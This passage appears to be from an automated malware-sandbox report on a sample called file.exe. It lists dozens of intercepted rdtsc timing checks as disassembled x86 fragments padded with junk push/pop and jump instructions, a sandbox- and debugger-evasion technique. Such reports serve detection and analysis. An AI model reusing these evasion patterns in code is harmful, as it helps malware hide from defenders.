0x0000004c push esi 0x0000004d pop esi 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128E63 second address: 1128E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AC1C second address: 112AC22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AC22 second address: 112AC64 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F2BD92E34C8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D37F3h] 0x0000002f push 00000000h 0x00000031 mov edi, edx 0x00000033 push 00000000h 0x00000035 mov bl, ah 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AC64 second address: 112AC6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AC6A second address: 112AC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AE89 second address: 112AEA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A359h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CC50 second address: 112CC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CC59 second address: 112CC5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DD02 second address: 112DD06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ED19 second address: 112ED1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BEB5 second address: 112BEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FDA8 second address: 112FDAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FDAC second address: 112FDB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130E23 second address: 1130E4B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F2BD8E8A356h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007F2BD8E8A350h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FFB1 second address: 112FFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FFB5 second address: 112FFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131F2A second address: 1131F45 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F2BD92E34CDh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113106B second address: 1131079 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132066 second address: 113206A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113206A second address: 113206E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1133058 second address: 113305C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11363A5 second address: 11363AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F2BD8E8A346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AA05 second address: 113AA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34CCh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AA19 second address: 113AA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jne 00007F2BD8E8A346h 0x0000000c popad 0x0000000d push ebx 0x0000000e jmp 00007F2BD8E8A354h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AA3D second address: 113AA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AA47 second address: 113AA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AA51 second address: 113AA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AA57 second address: 113AA63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2BD8E8A346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A19B second address: 113A1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A1B2 second address: 113A1B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A1B7 second address: 113A1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2BD92E34C6h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A1C9 second address: 113A1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A319 second address: 113A349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F2BD92E34CCh 0x0000000c pop esi 0x0000000d push edi 0x0000000e jmp 00007F2BD92E34D8h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A49A second address: 113A4AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A4AA second address: 113A4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A61A second address: 113A62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A34Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424AB second address: 11424B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424B1 second address: 11424BD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2BD8E8A346h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424BD second address: 11424D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CEh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424D0 second address: 11424EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2BD8E8A34Dh 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424EB second address: 1142512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F2BD92E34C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BD92E34D9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114421F second address: 1144225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B7A9 second address: 114B7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B7AF second address: 114B7B9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2BD8E8A346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B7B9 second address: 114B7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F2BD92E34C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B7C9 second address: 114B7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCA2F second address: 10FCA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A47E second address: 114A484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A484 second address: 114A488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114ABD9 second address: 114ABE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD0C second address: 114AD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD10 second address: 114AD3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A356h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F2BD8E8A346h 0x00000010 ja 00007F2BD8E8A346h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD3A second address: 114AD43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD43 second address: 114AD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD4C second address: 114AD67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CBh 0x00000007 je 00007F2BD92E34C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD67 second address: 114AD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD6D second address: 114AD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34D8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F2BD92E34C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD92 second address: 114ADA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B048 second address: 114B04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B04E second address: 114B052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B052 second address: 114B08B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F2BD92E34D2h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jne 00007F2BD92E34D2h 0x00000021 jmp 00007F2BD92E34CAh 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B08B second address: 114B090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B397 second address: 114B3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD92E34CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B3AA second address: 114B3CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2BD8E8A34Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007F2BD8E8A35Ch 0x00000013 push ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007F2BD8E8A346h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B3CE second address: 114B3D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11519DA second address: 11519EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F2BD8E8A346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11576BA second address: 11576C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115694D second address: 1156957 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2BD8E8A34Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156957 second address: 1156960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156D58 second address: 1156D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156D5C second address: 1156D78 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007F2BD92E34C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2BD92E34CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156D78 second address: 1156D93 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BD8E8A34Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156D93 second address: 1156D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115700B second address: 1157017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2BD8E8A346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157017 second address: 1157024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F2BD92E34D2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157024 second address: 115702A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115702A second address: 115702E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115719B second address: 115719F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B3B1 second address: 115B3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B3B7 second address: 115B3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2BD8E8A346h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F2BD8E8A346h 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116E40 second address: 10FCA37 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BD92E34CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F2BD92E34C8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F2BD92E34CCh 0x0000002c lea eax, dword ptr [ebp+1247CBB7h] 0x00000032 pushad 0x00000033 add edi, 527EB221h 0x00000039 mov esi, edx 0x0000003b popad 0x0000003c nop 0x0000003d jo 00007F2BD92E34CEh 0x00000043 jne 00007F2BD92E34C8h 0x00000049 push eax 0x0000004a push ecx 0x0000004b pushad 0x0000004c jmp 00007F2BD92E34CCh 0x00000051 jmp 00007F2BD92E34CFh 0x00000056 popad 0x00000057 pop ecx 0x00000058 nop 0x00000059 mov dword ptr [ebp+122D1853h], ecx 0x0000005f call dword ptr [ebp+122D19FFh] 0x00000065 push ecx 0x00000066 jnc 00007F2BD92E34E4h 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116FC6 second address: 1116FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A352h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116FDC second address: 1116FF8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2BD92E34CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116FF8 second address: 1116FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11170D4 second address: 111710C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BD92E34D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111710C second address: 1117115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11174EE second address: 11174F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F2BD92E34C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111760C second address: 1117611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117611 second address: 1117618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11177AB second address: 11177D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jno 00007F2BD8E8A354h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 pushad 0x00000013 jns 00007F2BD8E8A346h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117E3D second address: 1117E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117E41 second address: 1117E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F2BD8E8A357h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117FB5 second address: 1117FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11181B5 second address: 11181FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jnp 00007F2BD8E8A361h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F2BD8E8A353h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11181FB second address: 1118208 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
